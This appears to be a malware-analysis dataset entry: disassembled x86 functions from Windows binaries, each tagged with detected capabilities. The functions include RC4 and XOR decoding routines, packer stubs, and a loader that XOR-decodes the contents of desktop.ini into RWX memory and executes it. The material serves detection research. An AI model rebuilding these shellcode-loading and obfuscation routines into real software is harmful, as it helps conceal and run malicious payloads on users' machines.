joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5620d6
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [0x65c204]
add ecx, 0x23ec
mov dword [0x65c208], ecx
cmp eax, 0
mov dword [ebp - 4], eax
jne 0x562158
mov dword [0x65c204], 0xe8e
lea eax, [0x561760]
mov dword [0x65c208], 0xfffff37e
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp word [eax], 0x5a4d
mov dword [ebp - 0xc], eax
jne 0x562134
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
je 0x562146
mov eax, dword [ebp - 0xc]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [ebp - 8], eax
jmp 0x562118
mov dword [0x65c204], 0xe4a
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jmp 0x56217b
xor eax, eax
mov ecx, dword [ebp - 4]
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0x14], eax
call fcn.0056115f
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
jmp 0x56217b
mov eax, dword [ebp - 0x10]
add esp, 0x20
pop ebp
ret
Function at 0x562302
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov edi, 0x25f6
xor ebx, ebx
mov dword [0x65c20c], 0
mov dword [0x65c210], 0
mov dword [0x65c21c], 0
mov dword [0x65c208], 0x25f6
mov dword [0x65c204], 0x1ee4
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x2c], ebx
je 0x5624c1
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
add ecx, 1
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x65c20c], edx
mov dword [0x65c204], 0x3b
mov ecx, dword [ebp - 0x24]
movzx ebx, byte [ecx + edx]
mov ecx, dword [ebp - 0x34]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x38], edx
cdq
idiv edi
mov dword [0x65c210], edx
add esi, 0xfffff363
mov dword [0x65c208], esi
mov ecx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x38]
mov cl, byte [ecx + esi]
mov byte [0x65c214], cl
mov edi, dword [ebp - 0x24]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x65c204]
add edx, 0xffffdf8e
mov dword [0x65c204], edx
mov cl, byte [0x65c214]
mov edx, dword [0x65c210]
mov byte [edi + edx], cl
mov edx, dword [0x65c20c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x65c210]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x65c21c], ebx
mov dword [0x65c204], 0x1954
mov dword [0x65c208], 0xfffff92f
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov byte [0x65c221], ch
mov byte [0x65c222], cl
xor ch, cl
mov byte [0x65c220], ch
mov dword [0x65c204], 0xffffeeab
mov edx, dword [ebp - 0x20]
mov byte [edx + ebx], ch
mov edx, dword [0x65c204]
add edx, 0xffffff5b
mov dword [0x65c208], edx
add ebx, 1
mov esi, dword [ebp - 0x10]
cmp ebx, esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], edx
je 0x5624c1
mov eax, dword [0x65c20c]
mov ecx, dword [0x65c210]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
mov esi, dword [ebp - 0x3c]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x2c], esi
jmp 0x562377
mov dword [0x65c208], 0x559
add esp, 0x3c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431005
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40915c
nop
mov ecx, 0x747818ac
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x50d453d9
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x5d224d
Capabilities:
Encode data using xor

Disassembly:
jl 0x5d2232
mov word [edx + edi*8], gs
cmp al, 0xad
pop ebp
push ds
mov dl, 0xdd
inc ecx
push eax
iretd
push ebx
inc ebp
lodsb al, byte [esi]
xor esp, dword [edx + edi*8 + 5]
xchg ecx, eax
je 0x5d2234
mov al, byte [0x4d434b6e]
dec esi
pop edi
pop ss
into
out 0xf, al
xchg byte [ebx - 0x111a4814], dl
sar byte [edx - 0x3b], 0xfd
jp 0x5d2214
std
jp 0x5d2214
std
imul ebp, dword [ebp - 0x6cb4065c], 0x5a
aad 0x90
arpl word [esp + 0x46], bx
fst st(0)
aad 0xeb
jae 0x5d2231
bound edi, qword [edx - 0x6113663c]
lcall 0xc4f1, 0xe3cbc21c
sub al, 0x2b
pushal
adc al, 0xc4
cmpsd dword [esi], dword es:[edi]
das
je 0x5d22b1
mov ecx, 0x34005725
pop es
pop ss
add dword [eax + 0x456f90fe], esp
ror dword [eax + ebp*2], 1
mov ecx, 0x8f257a13
mov fs, word [esi]
popal
xor al, 0xa4
out 0x9f, eax
mov ebx, 0xc0f116e0
lahf
les ebx, [ebp + 0x52]
ret
cmp eax, dword [esi + 0x74]
inc esi
sbb ebp, esp
or eax, 0x2a761849
push ebx
inc edi
xor eax, 0xd4b6b46c
out 0xc8, al
movsb byte es:[edi], byte [esi]
xor dword [esi + 0x3b], esi
cmc
hlt

Function at 0x608c7d
Capabilities:
Encode data using xor

Disassembly:
push eax
mov byte ds:[0x8fac1b5], al
mov ebp, dword [edx]
inc edi
mov byte [ebx + eax + 0x20a75454], 0xb7
mov eax, dword [0x216b3030]
mov byte [ebp + 0x59], ch
lea edx, [edi]
push edi
jecxz 0x608cf4
or dword [ebx + 0xe], ebp
pushal
sti
pushal
aas
and al, 0x5a
cmc
in eax, dx
or ah, ch
invalid
mov ah, 0xaa
mov eax, 0x6d93b406
xchg ebx, eax
mov al, byte [0x86f775a1]
and dword [ecx + 0x5f], edx
xchg byte [ecx], ah
push ecx
pop edi
xlatb
xchg esi, eax
cmp edx, dword [ecx - 0x4e]
push ds
or byte [ecx + 0xe51e11d], cl
wait
inc esi
cmpsd dword [esi], dword es:[edi]
xor dword [edx + edx], eax
inc esp
mov al, 0xb3
adc dword [ecx + eax*2 - 0x5c], esi
push cs
mov dl, 0xc8
loope 0x608cca
imul eax, edx, 0xfffffff0
ret
cmp dl, byte [ebx]
daa
push edx
mov al, byte [0xe74398b4]
inc edx
cmp dh, byte [ebx - 0x1c]
xchg byte [eax + esi + 0x996b8e9], ch
inc edi
and bh, cl
aad 0x2d
jl 0x608cbe
sbb cl, dl
iretd
Function at 0x402925
Capabilities:
Create thread

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [esp + 0x14]
lea eax, [esp + 0x18]
mov edi, ecx
push eax
call fcn.00402c22
xor ebp, ebp
pop ecx
pop ecx
mov ebx, dword [eax]
mov dword [eax], ebp
cmp dword [esp + 0x14], ebp
je 0x402954
push 4
push dword [esp + 0x18]
call fcn.0040d0ef
pop ecx
pop ecx
lea esi, [edi + 4]
push esi
push ebp
push ebx
push 0x4024db
push ebp
push ebp
call fcn.0041580b
add esp, 0x18
mov dword [edi], eax
test eax, eax
je 0x402976
pop edi
pop esi
pop ebp
pop ebx
ret 4
push 6
mov dword [esi], ebp
call fcn.00409b67
int3

Function at 0x406dac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sar eax, 2
push edi
mov edi, dword [ebp + 0x14]
test eax, eax
je 0x406e2c
push esi
xor esi, esi
cmp dword [ebp + 0x18], esi
jbe 0x406e2b
push ebx
mov ebx, 0x481960
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x6c
xor al, 0x74
push str.Own_head
push ebx
mov byte [edi + esi], al
call fcn.004014fb
push eax
call fcn.00402b55
mov al, byte [edi + esi]
add al, 0x4e
xor al, 0xdc
push str.Earth
push ebx
mov byte [edi + esi], al
call fcn.004014fb
push eax
call fcn.00402b55
mov al, byte [edi + esi]
xor al, 0xac
sub al, 0x65
xor al, 0x22
sub al, 0x73
push 0x42c5b8
mov byte [edi + esi], al
call fcn.0041296e
xor byte [edi + esi], al
add esp, 0x1c
inc esi
cmp esi, dword [ebp + 0x18]
jb 0x406dce
pop ebx
pop esi
lea ecx, [ebp + 8]
call fcn.00406861
pop edi
pop ebp
ret 0x14

Function at 0x40b5eb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40b60c
jl 0x40b603
test edi, edi
jne 0x40b60c
xor eax, eax
xor edx, edx
jmp 0x40b6cd
cmp dword [ebx + 0x38], 0
je 0x40b621
push eax
push edi
push dword [ebp + 8]
call fcn.0040b6d3
jmp 0x40b6cd
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40b668
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b668
cmp eax, edi
jb 0x40b642
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040e040
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40b66e
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40b6c2
mov ecx, ebx
call fcn.0040ae85
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40b6ad
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00416ce3
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40b6c2
jmp 0x40b680
test edx, edx
je 0x40b6c2
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00416ce3
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x420e8e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420b30

Function at 0x420e99
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00420cbf

Function at 0x421293
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040dff0
mov eax, dword [0x47fa00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041ea5f
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4212d5
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x421431
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042aa20
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4823b0]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00422032
mov ecx, dword [esi*4 + 0x4823b0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x42142a
cmp eax, dword [edi + ecx + 0x24]
jne 0x42142a
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x42142a
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00422032
add esp, 0x14
test edx, edx
jl 0x42142a
jg 0x4213a0
test eax, eax
jb 0x42142a
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x42142a
jl 0x4213ba
cmp dword [ebp - 0x1008], eax
ja 0x42142a
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4213d8
test ebx, ebx
je 0x421411
cmp ecx, edi
jae 0x421411
mov al, byte [ecx]
cmp al, 0xd
jne 0x4213f2
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4213fe
cmp byte [ecx + 1], 0xa
jne 0x4213fe
inc ecx
jmp 0x4213fe
movzx eax, al
movsx eax, byte [eax + 0x47fcc8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4213d8
cmp edx, ebx
jne 0x4213d8
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x42142f
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040d408
leave
ret
Function at 0x4214d0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4823b0]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x421510
cmp byte [ebx], 0xa
jne 0x421510
or byte [eax + edi + 0x28], 4
jmp 0x421515
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x421613
mov al, byte [edx]
cmp al, 0x1a
je 0x4215f5
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x421544
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x421569
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x421573
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x421526
jmp 0x421613
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4215f0
cmp dword [ebp - 0xc], 0
je 0x4215f0
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4823b0]
test byte [eax + edi + 0x28], 0x48
je 0x4215ca
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x4215b5
mov byte [esi], dl
jmp 0x4215c6
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4823b0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x421613
cmp byte [ebp - 1], 0xa
jne 0x4215d9
cmp esi, ebx
jne 0x4215d9
mov byte [esi], 0xa
jmp 0x421612
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00422050
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x421613
mov byte [esi], 0xd
jmp 0x421612
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4823b0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x42160f
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x421613
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42161c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x4823b0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x42165f
cmp word [esi], dx
jne 0x42165f
or byte [edi + eax + 0x28], 4
jmp 0x421664
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4217b7
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x421797
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4216a6
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4216dc
cmp eax, edx
jae 0x4216e8
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x42167e
jmp 0x4217b7
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x421793
cmp dword [ebp - 0x14], 0
je 0x421793
mov eax, dword [ebx*4 + 0x4823b0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x42176b
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x421734
mov word [esi], cx
jmp 0x421767
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x4823b0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x4823b0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x4823b0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4217b7
pop ebx
cmp word [ebp - 4], bx
jne 0x42177c
cmp esi, dword [ebp + 0xc]
jne 0x42177c
mov word [esi], bx
jmp 0x4217b4
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00422050
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4217b7
push 0xd
jmp 0x4217b0
mov ecx, dword [ebx*4 + 0x4823b0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4217ae
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4217b7
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x1000d860
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000d86f
pop dword [ebp - 8]
mov eax, 0xca0d07fe
sub eax, 0xba0c2f8f
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x38d02
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x811b3722
sub ecx, 0x811ae830
mov edi, eax
mov edx, 0xe4a0d58f
sub edx, 0xd49f3d8f
add edx, dword [ebp - 8]
mov esi, 0x2c3c34f2
sub esi, 0xa9066bfd
sub dword [ebp - 4], edi
mov ebx, dword [edx]
sub dword [ebp - 4], 0xcad04ce9
add ebx, esi
xor dword [ebp - 4], edx
mov dword [edi], ebx
mov dword [ebp - 4], 0x343c1b9e
add edi, 0x82e26d80
sub edi, 0x82e26d7c
add edx, 0xf064db4
sub edx, 0xf064db0
loop 0x1000d8c9
add eax, 0x92904a3
add eax, 0xf6d829f8
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xdc12315f
sub ecx, 0xcc12315f
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x40aafb
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x41a004]
xor eax, esp
mov dword [esp + 0x38], eax
push esi
mov esi, dword [ebp + 8]
push 0x40757c
push 0x407598
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40ab35
push 0x800
call eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0xc]
call fcn.00409d50
push esi
lea ecx, [esp + 0x24]
call fcn.004092bb
lea ecx, [esp + 0x20]
call fcn.00409667
mov esi, eax
test esi, esi
jns 0x40ab89
lea ecx, [esp + 8]
call fcn.0040aa70
test al, al
je 0x40abd3
cmp esi, 0x80040b00
jne 0x40abd3
lea ecx, [esp + 0x20]
call fcn.00409723
mov esi, eax
test esi, esi
js 0x40abd3
mov esi, 0x80040b02
jmp 0x40abd3
cmp dword [esp + 0x1c], 8
lea esi, [esp + 8]
jb 0x40ab98
mov esi, dword [esp + 8]
push 0x406f80
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40abcb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40abc4
jle 0x40abd3
movzx esi, si
or esi, 0x80070000
jmp 0x40abd3
mov esi, 0x80004005
jmp 0x40abd3
push dword [ebp + 0x14]
push esi
call eax
mov esi, eax
lea ecx, [esp + 0x20]
call fcn.00409357
lea ecx, [esp + 8]
call fcn.00409e49
mov ecx, dword [esp + 0x3c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040b227
mov esp, ebp
pop ebp
ret 0x10

Function at 0x411740
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00411454
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
dec dword [ebx - 0xe0807bb]
test edx, edx
je 0x41177d
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
invalid
